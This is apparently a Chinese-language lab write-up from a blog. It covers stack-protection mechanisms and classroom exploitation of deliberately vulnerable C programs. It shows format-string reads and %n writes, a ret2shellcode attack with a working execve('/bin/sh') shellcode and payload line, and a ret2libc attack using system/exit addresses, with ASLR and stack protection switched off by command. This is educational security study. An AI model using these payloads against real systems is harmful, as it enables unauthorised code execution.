内存安全实验

实验环境:

Linux ubuntu 4.15.0-47-generic #50~16.04.1-Ubuntu SMP Fri Mar 15 16:03:40 UTC 2019 i686 i686 i686 GNU/Linux

栈的保护机制

地址随机化

地址随机化:通过随机化整个segment,比如栈,堆,或者代码区的地址对内存进行保护。

关闭该机制可使用以下命令:

sudo sysctl -w kernel.randomize_va_space=0 #关闭内存地址随机化

栈不可执行和DEP保护

NX(DEP):NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

栈保护基址:栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。

关闭栈不可执行使用参数-z execstack,关闭栈保护使用参数-fno-stack-protector

gcc -m32 -g -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -o test test.c #栈可执行,关闭栈保护

格式化溢出

格式化输出原理

当执行下边这个函数时:

printf("one:%s,two:%s:third:%d",str1,str2,x);

首先,按照从左向右的顺序压栈,那么栈的布局应该是这样的:

printf函数从第一个参数开始解析,若是正常字符则输出,若是%号,则读取下一个字符,如果是正确的引导格式串,就按照该格式解析此时位于栈顶的参数。

由于printf函数不会进行引导格式串和给定参数匹配的检查,因此下边这种情况:

printf("one:%s,two:%s:third:%d",str1,str2);

栈中排布是:

str1str2索引到之后,下一个%d就会将栈中str1下边的数据当初整数进行读取,这样的话,比如下边的程序语句:

print(input);

其接受外界输入进行输出,如果该输入中还有恶意的格式串,就可能读取到栈中的敏感数据

此外,有一个%n引导格式串,其使用方法是:

int a;
printf("hello world!%n",&a);

当遇到%n时,会将前边输出的字符串长度写入%n索引的变量地址对应的变量中去。如果我们控制了前边输出的字符串长度(比如通过输出字符串宽度控制),并且%n对应的地址可以通过我们巧妙的设计控制,那么就可以做到任意位置写入任意数据

使程序崩溃

程序

#include <stdio.h>

int main()
{
    printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s");
}

结果

分析

格式化输出字符串即%s时,正常情况下,参数应该是字符串所在的内存地址,当后边传入的参数不与格式化字符串匹配或未经过精心设计时,就会将栈上的数据当做字符串地址进行处理读取,当输入足够多的%s时,就有大概率会遇到非法地址,产生段错误,程序崩溃。这也是格式化溢出最简单的应用情形。

查看栈内容

程序

#include <stdio.h>

int main(int argc,char** argv)
{
        int a = 16,b = 32,c =48,d=64;
        printf(argv[1]);
        printf("\n");
}

结果

分析

可以看到,这个例子中,从外界输入数据,但是在数据中放入了一系列引导格式串,但是后边没有匹配的参数,于是就将栈中从esp开始的数据当成参数进行读取,如上图所示,图中圈出来的位置就是栈中main函数的局部变量abcd,如果这些是私密数据,就是造成数据泄露。

修改栈内容

程序

#include <stdio.h>

int main(int argc,char** argv)
{
        int x=16;
        int *a = &x;
        printf("%p\n",a);
        int b=32,c=48,d=64;
        printf("The origin value of a is %d\n",*a);
        printf(argv[1]);
        printf("\n");
        printf("The new value of a is %d\n",*a);
}

结果

分析

这个实验程序的内容是:1.声明局部变量x 2.将x的地址放入变量a 3.输出a 4.局部变量b,c,d 5.输出a值 6.输出程序参数argv[1] 7.输出a

通过程序的第3步我们可以获得变量x的地址值,通过给输入数据不断的构造连续多个%08x就可以获得栈中的数据,知道获得与刚才输出的地址值相同的值,就获得了x地址的存放处。下一步,将该位置处对应的%08x换成%n,那么就把之前输出的字符串长度写入变量a,应该是10个8位16进制以及10个空格,也就是10x(8+1)=90,所以之后的输出就是90。如果想控制这个数为我想输入的,通过宽度控制,比如现在想写入100到a中,除去倒数第一个%x,剩下的是,9个8位十六进制数,10个空格,一个9x8+10=82,那么此时最后一个引导格式串输入%.18x控制为18位,就可以输出恰好100位,就将100输入到a中了。

ret2shellcode

原理

在缓冲区溢出的过程中写入shellcode,并将返回地址指向shellcode。shellcode的布局方式可以有如下几种:

(图片截取自0day安全软件漏洞分析技术)

程序

#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
        char buf[256];
        memcpy(buf, argv[1],strlen(argv[1]));
        printf(buf);
}

分析

1.猜想:局部变量可能紧挨着ebp,即esp=&buf+256+4ebp指向旧的espesp+4指向返回值,输入测试:

42就是字母B,猜想正确。

2.下断点,运行,查看栈中情况:

3.准备shellcode,这里选取一个40字节的exec(/bin/sh)的shellcoe:

\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

将1中的A后边部分填充这40字节shellcode ,最后的返回地址可以先空出来:

r `python -c 'print "A"*(260-40)+"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"\x64\xef\xff\xbf"'`	

4.放入shellcode之后的栈布局:

此时可以获得shellcode的起始地址是0xbfffef5c+8=0xbfffef64,使用该地址填充上述空出来的返回地址。

5.进行溢出攻击,获取shell:

r `python -c 'print "A"*(260-40)+"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"\x64\xef\xff\xbf"'`	

结果

获得shell:

ret2libc

ret2libc原理

当程序中栈数据不可执行时,此时就不能使用ret2shellcode,但是可以将返回地址填充为程序都会加载的系统函数库,去运行系统函数,那么这个时候就要设计函数栈的排布。

对于正常函数来说,栈的排布是这样的:

也就是ebp指向的是旧栈的ebpebp+4是当前函数的返回地址,ebp+8是当前函数的第一个参数。因此,如果我们进行栈溢出的时候,将返回地址覆盖为库函数地址,那么该函数所需要的参数应该放置在覆盖的返回地址+8的位置,该函数执行完的返回地址,应该是覆盖的返回地址+4的位置,如下图所示,左边是覆盖后,右边位置对应的覆盖前的栈布局:

关于环境变量的位置(引自《程序员的修养》)

如果在程序运行前,导入了两个环境变量:

HOME=/home/user
PATH=/usr/bin

运行命令时传入参数123

./a.out 123

那么进程栈的布局如下:

程序

#include <stdio.h>
#include <string.h>
void bug(char *arg1)
{
    char name[128];
    strcpy(name, arg1);
    printf("Hello %s\n", name);
}
int main(int argc, char **argv)
{
    if (argc < 2)
    {
        printf("Usage: %s <your name>\n", argv[0]);
        return 0;
    }
    bug(argv[1]);
    return 0;
}


分析

1.猜测局部变量数组紧挨着ebp,即esp=&buf+128+4ebp指向旧的espesp+4指向返回值,输入测试:

测试成功,符合猜想。

2.接下来要完成的是运行system(/bin/sh)并运行exit退出,/bin/sh可以通过输入字符串或者环境变量方式输入,现在采用环境变量的的方式输入,即输入export TEST=/bin/sh,之后使用gdb调试程序时候查看,比ebp高的地址内容x/500x $ebp

可以在上图找到输入的环境变量,加上TEST=5字节的偏移,可以找到/bin/sh的地址是0xbffffd6c+5=0xbffffd71

3.在gdb调试程序的时候,输出systemexit库函数的地址:

得到函数system地址是0xb7e43da0,函数exit地址是0xb7e379d0

4.如下图所示,先输入132个A,再输入system的地址覆盖返回地址,然后在system返回地址处随便输入个ABCD,然后输入system的参数,即/bin/sh的地址,此时的栈如下图所示:

此时进行溢出,如下图所示,获得了shell,但是退出的时候发生了错误,错误地址是0x44434241

5.上图退出时发生了错误,在于system返回地址我随便填写的ABCD,此时将其填充为exit的地址,这个时候栈的布局是:

这个时候进行溢出,获得shell,并且可以看到退出shell时也同时正确退出了程序:

结果

获得shell并可以正常退出:

其它

关于实验楼中内存安全实验的几个内容

实验楼有雪莱大学信息安全讲义中的经典实验,但是有一些地方大家通常会产生疑惑。

return2libc实验中关于环境变量值的获取

问题

实验地址是:https://www.shiyanlou.com/courses/233/labs/754/document/

其中关于环境变量获取给出了这样的一个程序:

/* getenvaddr.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char const *argv[])
{
    char *ptr;

    if (argc < 3)
    {
        printf("Usage: %s <environment var> <target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
    printf("%s will be at %p\n", argv[1], ptr);
    return 0;
}

当编译之后运行:

export TEST=/bin/sh
./getenvaddr TEST ./program #第一个参数就是该程序,第二个是环境变量,第三个参数是将要运行的程序

疑问就是,为什么这个程序就可以给出环境变量的地址呢?获取到地址之后为什么要进行调整呢?

关于该地址计算方式的由来

在众多答案中,stackoverflow中一个答案比较清楚:

首先给出下边的一个程序:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/auxv.h>

int main(int argc, char *argv[]) {
  char *ptr;
  int i;

  for (i = 0; i < argc; i++) {
    printf("  argv[%d]: %p, %p, %s\n", i, argv + i, argv[i], argv[i]);
  }

  char * program = (char *)getauxval(AT_EXECFN);
  printf("AT_EXECFN:               , %p, %s\n", program, program);
  char* path = getenv("PATH");
  printf("     PATH:               , %p, %s\n", path, path);
  char* underscore = getenv("_");
  printf("        _:               , %p, %s\n", underscore, underscore);
}

关闭地址随机化情况下进行编译:

gcc -o stackdump stackdump.c

带有参数运行:

./stackdump zero one two

结果:

  argv[0]: 0x7fffffffe4a8, 0x7fffffffe6e5, ./stackdump
  argv[1]: 0x7fffffffe4b0, 0x7fffffffe6f1, zero
  argv[2]: 0x7fffffffe4b8, 0x7fffffffe6f6, one
  argv[3]: 0x7fffffffe4c0, 0x7fffffffe6fa, two
AT_EXECFN:               , 0x7fffffffefec, ./stackdump
     PATH:               , 0x7fffffffee89, /usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/home/cloud-user/.local/bin:/home/cloud-user/bin
        _:               , 0x7fffffffefe0, ./stackdump

可以看到,程序名字这个参数在程序地址空间中出现了三次,一共有两次的出现是比PATH变量值地址高:

AT_EXECFN: 0x7fffffffefec, ./stackdump
        _: 0x7fffffffefe0, ./stackdump
     PATH: 0x7fffffffee89, /usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/home/cloud-user/.local/bin:/home/cloud-user/bin

所以如果程序1运行时候的PATH的地址是p1,程序1的名字是name1,程序2运行时候PATH的地址是p2,程序2的名字是name2的话:

p2 = p1 + strlen(name1)*2 - strlen(name2) = p1 + (strlen(name1) - strlen(name2))*2

因为栈是向低地址方向增长,也就是说,缺少一个程序名,p1的地址就会向高地址方向增加strlen(name1)*2,多了一个程序名就会向低地址方向增加strlen(name2)*2,于是就有了上边的算式。

那么程序名有在程序地址空间出现了三次,除了第一次是main函数的参数之外,其他两次是什么呢?

其他两次是_环境变量和辅助向量值。

至此就可以知道该计算过程的由来,下边是对_环境变量和辅助向量的介绍,如果觉得太长可跳过,辅助向量的介绍参考的就是《程序员的自我修养》中的内容。

_环境变量

如果程序./test是从Bash启动的,那么Bash shell将会在环境变量中使用关键字_存储./test这个值。

手册里是这样写的:

_

(An underscore.) At shell startup, set to the absolute pathname used to invoke the shell or shell script being executed as passed in the environment or argument list. Subsequently, expands to the last argument to the previous command, after expansion. Also set to the full pathname used to invoke each command executed and placed in the environment exported to that command. When checking mail, this parameter holds the name of the mail file

一个程序:

#include <stdlib.h>
#include <stdio.h>

int main()
{
  char *test=getenv("_");
  printf("%s\n",test);\
  return 0;
}

编译:

gcc test.c -o test

执行:

wws@wws-pc:~/happy$ ./test 
./test
wws@wws-pc:~/happy$ ./test arguments
./test
wws@wws-pc:~/happy$ 
辅助向量Auxiliary vector

关于辅助向量的介绍参考《程序员的自我修养》,辅助向量是ELF加载前向进程传递环境变量信息使用,其定义在/usr/include/elf.h

/* Auxiliary vector.  */

/* This vector is normally only used by the program interpreter.  The
   usual definition in an ABI supplement uses the name auxv_t.  The
   vector is not usually defined in a standard <elf.h> file, but it
   can't hurt.  We rename it to avoid conflicts.  The sizes of these
   types are an arrangement between the exec server and the program
   interpreter, so we don't fully specify them here.  */

typedef struct
{
  uint32_t a_type;              /* Entry type */
  union
    {
      uint32_t a_val;           /* Integer value */
      /* We use to have pointer elements added here.  We cannot do that,
         though, since it does not work when using 32-bit definitions
         on 64-bit platforms and vice versa.  */
    } a_un;
} Elf32_auxv_t;

typedef struct
{
  uint64_t a_type;              /* Entry type */
  union
    {
      uint64_t a_val;           /* Integer value */
      /* We use to have pointer elements added here.  We cannot do that,
         though, since it does not work when using 32-bit definitions
         on 64-bit platforms and vice versa.  */
    } a_un;
} Elf64_auxv_t;

每一个辅助向量里的信息都是由类型和值组成。

摘录几个比较重要的类型值:

如果在程序运行前,导入了两个环境变量:

HOME=/home/user
PATH=/usr/bin

运行命令时传入参数123

./a.out 123

辅助信息结构应该位于堆栈中环境变量指针的后面,加入我们的辅助信息结构有4个:

那么进程栈的布局如下:

以上就解释了辅助向量在进程空间中的分布。

关于实验中的辅助向量值

而在这个实验中,用到的辅助向量类型是AT_EXECFN,其在Linux手册中的定义为:Pathname used to execute program。所以在这个实验中给出的就是./getenvaddr

return2shellcode实验中溢出的大小

实验地址是:https://www.shiyanlou.com/courses/231/labs/749/document/

问题:为什么被溢出的函数中数组大小是12,在溢出时却要填充24个nop?

正常的思维是局部数据char a[12]应该紧挨着ebp,再往下4字节是返回地址,如果这样想的话,返回地址前应该填充12+4个nop即可,这里多填充了8个nop,应该是编译器在编译的时候字节对其的原因。

参考

1.Introduction to return oriented programming (ROP)

2.程序员的修养,余甲子

3.0day安全软件漏洞分析技术

4.Return-to-libc, Saif El-Sherei

5.Performing a ret2libc Attack Defeating a non-executable stack, InVoLuNTaRy

6.Stack based buffer overflow Exploitation-Tutorial, Saif El-Sherei

7.https://www.shiyanlou.com/courses/231/labs/749/document/

8.https://stackoverflow.com/questions/40489161/why-this-piece-of-code-can-get-environment-variable-address

9.https://www.shiyanlou.com/courses/231/labs/749/document/

posted @ 2019-05-06 15:26  浊酒恋红尘  阅读(604)  评论(0编辑  收藏  举报